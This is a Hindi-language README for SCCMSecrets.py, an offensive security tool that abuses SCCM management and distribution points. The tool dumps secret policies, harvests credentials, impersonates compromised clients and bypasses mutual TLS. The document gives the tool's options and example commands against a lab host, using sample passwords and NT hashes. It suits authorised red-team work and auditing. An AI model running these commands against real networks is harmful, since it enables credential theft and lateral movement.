
SCCMSecrets.py का उद्देश्य क्रेडेंशियल हार्वेस्टिंग, प्रारंभिक पहुंच और पार्श्व संचलन के लिए SCCM नीतियों के वितरण का शोषण करना है।
SCCMSecrets.py एक SCCM नीतियों के शोषण का उपकरण है। यह NAA क्रेडेंशियल निष्कर्षण से आगे जाता है, और SCCM नीतियों के वितरण के शोषण के लिए एक व्यापक दृष्टिकोण प्रदान करने का लक्ष्य रखता है। इस उपकरण को विभिन्न विशेषाधिकार स्तरों से निष्पादित किया जा सकता है, और यह नीतियों के वितरण से संबंधित संभावित गलत कॉन्फ़िगरेशन को उजागर करने का प्रयास करेगा। उपकरण और इसके उपयोग के बारे में अधिक विवरण संबंधित लेख में उपलब्ध है: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
दो उप-कमांड उपलब्ध हैं: policies और files।
यह उप-कमांड सभी गुप्त नीतियों (NAA कॉन्फ़िगरेशन, क्रेडेंशियल युक्त कार्य अनुक्रम, या संग्रह चर सहित) की सामग्री को डंप करने के लिए एक SCCM प्रबंधन बिंदु (Management Point) के साथ इंटरैक्ट करता है। ऐसा करने के लिए, एक स्वीकृत SCCM डिवाइस की आवश्यकता होती है, जिसे तीन तरीकों से प्राप्त किया जा सकता है।
--altauth फ़्लैग प्रदान करते हैं, तो SCCMSecrets एक वैकल्पिक प्रमाणीकरण एंडपॉइंट का शोषण करेगा, जो mTLS आवश्यकताओं को बायपास करने की अनुमति देता है, और बिना क्रेडेंशियल तथा बिना स्वचालित डिवाइस अनुमोदन गलत कॉन्फ़िगरेशन के एक स्वीकृत डिवाइस प्राप्त करता है (अधिक जानकारी यहाँ)। यह केवल तब काम करता है जब MP को HTTPS का उपयोग करने के लिए कॉन्फ़िगर किया गया हो, और SCCM साइट को साइट-व्यापी HTTPS लागू करने के लिए कॉन्फ़िगर किया गया हो (यदि MP HTTPS का उपयोग कर रहा है लेकिन साइट HTTP या HTTPS दोनों की अनुमति देती है, तो डिवाइस स्वचालित रूप से अनुमोदित नहीं होते हैं)।--use-existing-device)। यह तर्क एक निर्देशिका की अपेक्षा करता है जिसमें guid.txt फ़ाइल (डिवाइस GUID) और key.pem फ़ाइल (डिवाइस की निजी कुंजी) हो। यह पिछले SCCMSecrets निष्पादन द्वारा बनाया गया डिवाइस हो सकता है, या किसी समझौता किए गए वैध SCCM क्लाइंट के अनुरूप हो सकता है।ध्यान दें कि SCCM नीतियां संग्रह (collections) से जुड़ी होती हैं। एक नया डिवाइस पंजीकृत करने से यह डिवाइस डिफ़ॉल्ट संग्रहों में रखा जाएगा - इस प्रकार, केवल डिफ़ॉल्ट संग्रहों की गुप्त नीतियां ही प्राप्त की जाएंगी। यही कारण है कि --use-existing-device के साथ किसी समझौता किए गए वैध SCCM क्लाइंट का प्रतिरूपण करना दिलचस्प हो सकता है। वास्तव में, यह वैध क्लाइंट अतिरिक्त गुप्त नीतियों से जुड़े कस्टम संग्रहों का हिस्सा हो सकता है।
आउटपुट को loot निर्देशिका की उप-निर्देशिका में रखा जाएगा (प्रारूप: [timestamp]_policies)।
$ python3 SCCMSecrets.py policies -h
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval │
│ --machine-pass -p TEXT [Optional] The password for the machine account │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to │
│ device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it │
│ expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│ be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --altauth -a [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│ only works when the MP uses HTTPS AND HTTPS is enforced site-wide │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
यह उप-कमांड एक वितरण बिंदु (Distribution Point) पर संग्रहीत फ़ाइलों को अनुक्रमित करेगा और दिलचस्प फ़ाइलों को डाउनलोड करेगा। SCCMSecrets पहले यह पहचानने का प्रयास करेगा कि क्या अनाम पहुंच सक्षम है (गैर-डिफ़ॉल्ट)। यदि ऐसा है, तो फ़ाइलों को बिना प्रमाणीकरण के अनुक्रमित और डाउनलोड किया जा सकता है। अन्यथा, डोमेन क्रेडेंशियल की आवश्यकता होगी।
एक्सटेंशन द्वारा फ़ाइलें डाउनलोड करना संभव है। SCCMSecrets वितरण बिंदु पर होस्ट किए गए सभी पैकेजों की फ़ाइलों को अनुक्रमित करेगा (जिसके परिणामस्वरूप Unix tree प्रारूप वाली एक index.txt फ़ाइल बनेगी), और यह निर्दिष्ट एक्सटेंशन वाली फ़ाइलों को डाउनलोड करेगा। एक्सटेंशन की खाली सूची प्रदान करने पर, केवल फ़ाइल अनुक्रमण किया जाएगा।
दोनों ही मामलों में, उत्पादित इंडेक्स फ़ाइल से, विशिष्ट दिलचस्प फ़ाइलों को डाउनलोड करने के लिए --urls फ़्लैग का उपयोग करना संभव है (बिना पुनः अनुक्रमण के)।
ध्यान दें कि mTLS आवश्यकताएं, यदि लागू की गई हैं, तो --nocert फ़्लैग प्रदान करके बायपास की जा सकती हैं।
आउटपुट को loot निर्देशिका की उप-निर्देशिका में रखा जाएगा (प्रारूप: [timestamp]_files)।
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │
│ --password -p TEXT [Optional] The password for the domain account │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not │
│ download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│ want to download by extension, but rather specific known files │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --nocert -n [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
डिफ़ॉल्ट रूप से, क्लाइंट अपने प्रबंधन बिंदु या वितरण बिंदु के साथ सादे HTTP का उपयोग करके इंटरैक्ट कर सकते हैं। हालाँकि, SCCM इंस्टॉलेशन को HTTPS के उपयोग को लागू करके अधिक सुरक्षित रूप से कॉन्फ़िगर किया जा सकता है। जब ऐसा होता है (प्रबंधन बिंदु, वितरण बिंदु, या दोनों के लिए), SCCM को "क्लाइंट प्रमाणीकरण" उद्देश्य वाले आंतरिक PKI प्रमाणपत्र का उपयोग करके क्लाइंट प्रमाणपत्र प्रमाणीकरण की आवश्यकता होगी।
ऊपर प्रस्तुत हमलों को अंजाम देना अभी भी संभव है - हालाँकि, --pki-cert और --pki-key फ़्लैग (PEM प्रारूप) के माध्यम से एक वैध PKI प्रमाणपत्र प्रदान किया जाना चाहिए। प्रबंधन बिंदु / वितरण बिंदु URL भी https:// से उपसर्गित होने चाहिए।
ध्यान दें कि --altauth (नीतियों के लिए) और --nocert (फ़ाइलों के लिए) फ़्लैग mTLS प्रमाणीकरण को बायपास करने के तरीके प्रदान करते हैं (अधिक जानकारी यहाँ)।
आप रिपॉजिटरी को क्लोन करके और निर्भरताओं को स्थापित करके SCCMSecrets.py स्थापित कर सकते हैं।
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
नीचे कुछ उदाहरण कमांड दिए गए हैं।
मशीन खाता प्रदान किए बिना गुप्त नीतियां प्राप्त करें। यह स्वचालित डिवाइस अनुमोदन गलत कॉन्फ़िगरेशन (गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन) का शोषण करने का प्रयास करेगा
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
मशीन खाता प्रदान करके गुप्त नीतियां प्राप्त करें। यह डिफ़ॉल्ट SCCM कॉन्फ़िगरेशन में काम करेगा
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
पहले से मौजूद डिवाइस की गुप्त नीतियां प्राप्त करें। compromised_device फ़ोल्डर में एक guid.txt और key.pem फ़ाइल है।
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
जब प्रबंधन बिंदु HTTPS लागू करता है तो गुप्त नीतियां प्राप्त करें
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem
वैकल्पिक प्रमाणीकरण एंडपॉइंट का उपयोग करके गुप्त नीतियां प्राप्त करें, जो mTLS प्रमाणीकरण को बायपास करने और बिना क्रेडेंशियल प्रदान किए एक स्वीकृत डिवाइस प्राप्त करने की अनुमति देता है (अधिक जानकारी यहाँ)। केवल तब काम करता है जब MP HTTPS का उपयोग करता है और HTTPS साइट-व्यापी रूप से लागू होता है
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth
बिना क्रेडेंशियल प्रदान किए वितरण बिंदु फ़ाइलें प्राप्त करें। यह अनाम DP पहुंच (गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन) का शोषण करने का प्रयास करेगा
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
क्रेडेंशियल के साथ वितरण बिंदु फ़ाइलें प्राप्त करें। यह डिफ़ॉल्ट SCCM कॉन्फ़िगरेशन में काम करेगा
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
एक्सटेंशन की विशिष्ट सूची के साथ फ़ाइलें प्राप्त करें। मशीन खाते के हैश के साथ प्रमाणीकरण करें
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
URL की सूची प्रदान करके वितरण बिंदु से विशिष्ट फ़ाइलें प्राप्त करें (1 प्रति पंक्ति)
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst
जब वितरण बिंदु HTTPS लागू करता है तो DP फ़ाइलें प्राप्त करें
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem
जब वितरण बिंदु HTTPS लागू करता है तो mTLS प्रमाणीकरण बायपास करें
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert